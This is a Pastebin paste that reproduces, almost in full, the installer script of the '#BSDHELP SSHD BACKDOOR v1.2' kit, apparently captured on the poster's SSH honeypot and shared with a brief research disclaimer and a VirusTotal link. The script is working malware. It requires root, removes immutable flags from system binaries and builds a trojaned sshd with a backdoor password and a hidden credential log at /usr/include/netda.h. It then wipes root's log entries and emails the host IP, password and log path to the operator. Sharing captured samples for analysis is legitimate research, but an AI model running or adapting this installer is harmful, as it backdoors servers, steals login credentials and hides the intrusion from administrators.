Advertisement
CaffeineSecurity

#BSDHELP SSHD BACKDOOR v1.2 OpenSSH 3.6p1 #Malware #SSH

May 15th, 2013
926
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.85 KB | None | 0 0
  1. # The following file was placed on my SSH honeypot as part of a larger package
  2. # This is the primary execution file "setup".
  3. # For educational/research use only!!!!!!!
  4. # AV scan available at:
  5. # https://www.virustotal.com/en/file/f65b8ee7dee2e1e5ad8e73d244802021097e2c5f55ac0c7e04f9dc4b7937e4d1/analysis/1368659467/
  6.  
  7.  
  8. #!/bin/bash
  9.  
  10. # Defining some colors
  11. NORMAL="\e[0m"
  12. NC="\e[0m"
  13. WHITE="\e[1;37m"
  14. CYAN="\e[1;36m"
  15. RED="\e[1;31m"
  16. GREEN="\e[1;32m"
  17. BLUE="\e[1;34m"
  18. GREY="\e[1;30m"
  19. GRN="\e[1;32m"
  20.  
  21. # Simple verifications
  22. if [[ "`whoami`" != "root"  ]] ;then
  23. echo -e "\n${RED}BECOME ROOT AND TRY AGAIN${NC}\n\n"
  24.     exit
  25.     fi
  26.  
  27. echo -e "-----------------------------------------------------------------------------------"
  28. echo -e "    ${CYAN} #BSDHELP ${GREY}SSHD BACKDOOR ${BLUE}v1.2${NORMAL} - ${WHITE}OpenSSH 3.6p1 ${BLUE}${NORMAL}"
  29. echo -e "                                  ${RED}PRIVATE VERSION${NORMAL}"
  30. echo -e "-----------------------------------------------------------------------------------"
  31.  
  32. ###########
  33. #
  34. # CHECKING SYSTEM
  35. #
  36. ###########
  37.  
  38. echo -e "${BLUE}\n\n CHECKING THIS SYSTEM${NC}\n"
  39.  
  40. if [ -f /usr/bin/gcc ]; then
  41. echo -e "${BLUE}# GCC${NC}:                   [ ${GRN}FOUND${NC} ]"
  42. else
  43. echo -e "${BLUE}# GCC${NC}:                   [ ${RED}NOT FOUND${NC} ]"
  44. ./gcc
  45. fi
  46.  
  47. if [ -f /usr/include/stdio.h ]; then
  48. echo -e "${BLUE}# G++${NC}:                   [ ${GRN}FOUND${NC} ]"
  49. else
  50. echo -e "${BLUE}# G++${NC}:                   [ ${RED}NOT FOUND${NC} ]"
  51. ./gcc-dev
  52. fi
  53.  
  54. if [ -f /usr/bin/make ]; then
  55. echo -e "${BLUE}# MAKE${NC}:                  [ ${GRN}FOUND${NC} ]"
  56. else
  57. echo -e "${BLUE}# MAKE${NC}:                  [ ${RED}NOT FOUND${NC} ]"
  58. ./make
  59. fi
  60.  
  61. if [ -d /usr/include/openssl ]; then
  62. echo -e "${BLUE}# OPENSSL DEVEL${NC}:         [ ${GRN}FOUND${NC} ]"
  63. else
  64. echo -e "${BLUE}# OPENSSL DEVEL${NC}:         [ ${RED}NOT FOUND${NC} ]"
  65. ./openssl
  66. fi
  67.  
  68. if [ -f /usr/include/zlib.h ]; then
  69. echo -e "${BLUE}# ZLIB${NC}:                  [ ${GRN}FOUND${NC} ]"
  70. else
  71. echo -e "${BLUE}# ZLIB${NC}:                  [ ${RED}NOT FOUND${NC} ]"
  72. ./zlib
  73. fi
  74.  
  75. ###########
  76. #
  77. # VERIFY INSTALLATION
  78. #
  79. ###########
  80.  
  81. if [ ! -f "/usr/bin/gcc" ] || [ ! -f "/usr/bin/make" ] || [ ! -d "/usr/include/openssl" ] || [ ! -f "/usr/include/zlib.h" ];
  82. then
  83. echo -e "\n\n${RED}# SOMETHING IS WRONG.${NC}"
  84. echo -e "${RED}# UNABLE TO INSTALL COMPONENTS.${NC}"
  85. ERRORS="N"
  86. echo -ne "${BLUE}# CONTINUE ANYWAY? - TYPE ${RED}Y${NC} ${BLUE}AND PRESS ${RED}ENTER${NC} [${WHITE}${ERRORS}${NORMAL}]: ${GREEN}"
  87. read ERRORS
  88. if [ "$ERRORS" != "Y" ] && [ "$ERRORS" != "y" ]; then
  89. echo
  90. echo -e "${RED}# WE STOP HERE! FIX THE BOX AND TRY AGAIN!${NC}"
  91. echo
  92. exit
  93.  else
  94. echo
  95. echo
  96. echo -e "${GREEN}# WE CONTINUE BUT WE WILL PROBABLY ${RED}FAIL${NC}"
  97. echo
  98. fi
  99. fi
  100. echo
  101. # Simple settings
  102. EMAIL="nomail"
  103.  
  104. cp -r /etc/ssh .etc.ssh
  105. chattr -iau /bin/* 2> /dev/null
  106. chattr -iau /usr/bin/* 2> /dev/null
  107. chattr -iau /usr/sbin/* 2> /dev/null
  108. chattr -iau /bin 2> /dev/null
  109. chattr -iau /usr/bin 2> /dev/null
  110. chattr -iau /usr/sbin 2> /dev/null
  111.  
  112. SSHV=`ssh -V 2>&1 |sed s/,/\ /| awk '{print $1}'`
  113. chmod +x tools/random.sh
  114. BPASS=`./tools/random.sh 12`
  115.  
  116. echo -ne "${BLUE}# Backdoor Password${NC} [${WHITE}${BPASS}${NORMAL}]: ${GREEN}"
  117. read BPASS1
  118. if [ "$BPASS1" != "" ]; then
  119.     BPASS=$BPASS1
  120.     fi
  121. echo -e "${BLUE}# Backdoor Password set to : ${WHITE}${BPASS}${NORMAL}"
  122. sleep 1
  123. echo -ne "${BLUE}# Logging Path${NC} [${WHITE}/usr/include/netda.h${NORMAL}]: ${GREEN}"
  124. read LPATH
  125. if [ "$LPATH" == "" ]; then
  126.     LPATH="/usr/include/netda.h"
  127.     fi
  128. echo -e "${BLUE}# Logging Path set to : ${WHITE}${LPATH}${NORMAL}"
  129.  
  130. cat backdoor.h|sed -e s/SSHD_PASS/"$BPASS"/ -e s#LOG_PATH#"$LPATH"# > 1.temp
  131. mv 1.temp backdoor.h
  132.  
  133. echo -ne "${BLUE}# SSH Version${NC} [${WHITE}${SSHV}${NORMAL}]: ${GREEN}" ; read SSHV1
  134. if [[ "$SSHV1" != "" ]]; then
  135.     SSHV=$SSHV1
  136.     fi
  137. echo -e "${BLUE}## SSH Version set to : ${WHITE}${SSHV}${NORMAL}"
  138. echo '#define SSH_VERSION    "'$SSHV'"'>> version.h
  139. echo
  140. sleep 2
  141. echo -e "${BLUE}# Configuring our SSH Backdoor ...${NC} "
  142. ./configure --sysconfdir=/etc/ssh 2> error_log.1
  143. make 2> error_log.2
  144.  
  145. if [[ ! -f ssh && ! -f sshd ]];then
  146.     echo -e "${RED}# Something went wrong, consult the error_log.1 and error_log.2 files${NORMAL}"
  147.     echo "-----------------------------------------------------------"
  148.     tail -n 5 error_log
  149.     echo "-----------------------------------------------------------"
  150. else
  151. clear
  152. echo -ne "${RED}"
  153. cat bsd.txt
  154. echo
  155. echo -e "${NORMAL}"
  156. echo -e "${BLUE}# CLEANING LOGS ...${NORMAL} "
  157. cd tools
  158. make linux &> /dev/null
  159. ./logcleaner -u root
  160. cd ..
  161. echo -ne "${BLUE}# RESTARTING SSHD ...${NORMAL} "
  162. sleep 1
  163. ./start
  164. sleep 1
  165. HOSTIP='127.0.0.1'
  166. if nc -zv -w10 $HOSTIP 22 <<< . &> /dev/null
  167. then
  168. echo -e "${GREEN}[DONE]${NORMAL}"
  169. echo -e "# Backdoor installed succesfully on [${WHITE}`uname -n`${NORMAL}]"
  170. echo -e "# ${GREY}`/sbin/ifconfig|grep inet|grep -v "127\.0\.0\.1"|tr ":" " "|awk '{print $3}'|head -n 1` root:${RED}${BPASS}${GREY} + $LPATH"
  171. echo "# `/sbin/ifconfig|grep inet|grep -v "127\.0\.0\.1"|tr ":" " "|awk '{print $3}'|head -n 1` root:$BPASS + $LPATH"|mail $EMAIL -s "New Backdoor Setup [`uname -n`]"
  172. echo -ne "${NORMAL}"
  173. else
  174. echo -e "${RED}[FAIL - TRYING TO FIX]${NORMAL}"
  175. ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""
  176. sleep 1
  177. mkdir /var/empty && chown -R root /var/empty
  178. sleep 1
  179. sshd
  180. echo -e "${BLUE}WE DID ALL WE COULD TO FIX SSH ...${GREEN} [DONE]${NORMAL}"
  181. echo -e "# BSDHELP Backdoor installed succesfully on [${WHITE}`uname -n`${NORMAL}]"
  182. echo -e "# ${GREY}`/sbin/ifconfig|grep inet|grep -v "127\.0\.0\.1"|tr ":" " "|awk '{print $3}'|head -n 1` root:${RED}${BPASS}${GREY} + $LPATH"
  183. echo "# `/sbin/ifconfig|grep inet|grep -v "127\.0\.0\.1"|tr ":" " "|awk '{print $3}'|head -n 1` root:$BPASS + $LPATH"|mail $EMAIL -s "New Backdoor Setup [`uname -n`]"
  184. echo -ne "${NORMAL}"
  185. echo
  186. echo -e "${CYAN}# ENJOY THIS PRIVATE BACKDOOR ${NORMAL}"
  187. exit
  188. fi
  189. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement